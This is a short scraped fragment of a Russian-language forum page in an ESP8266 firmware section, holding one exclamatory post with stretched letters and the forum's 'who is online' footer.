///uuuaaaaaaaa che ya nadelal)))))))) IIIIIIzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzSTAAAAAAAAAAAAAAAAARRRRRRRRRRzzzzzzz







 



























Вернуться в «ЕСП8266 и примеры прошивок»

Кто сейчас на форуме

Количество пользователей, которые сейчас просматривают этот форум: нет зарегистрированных пользователей и 6 гостей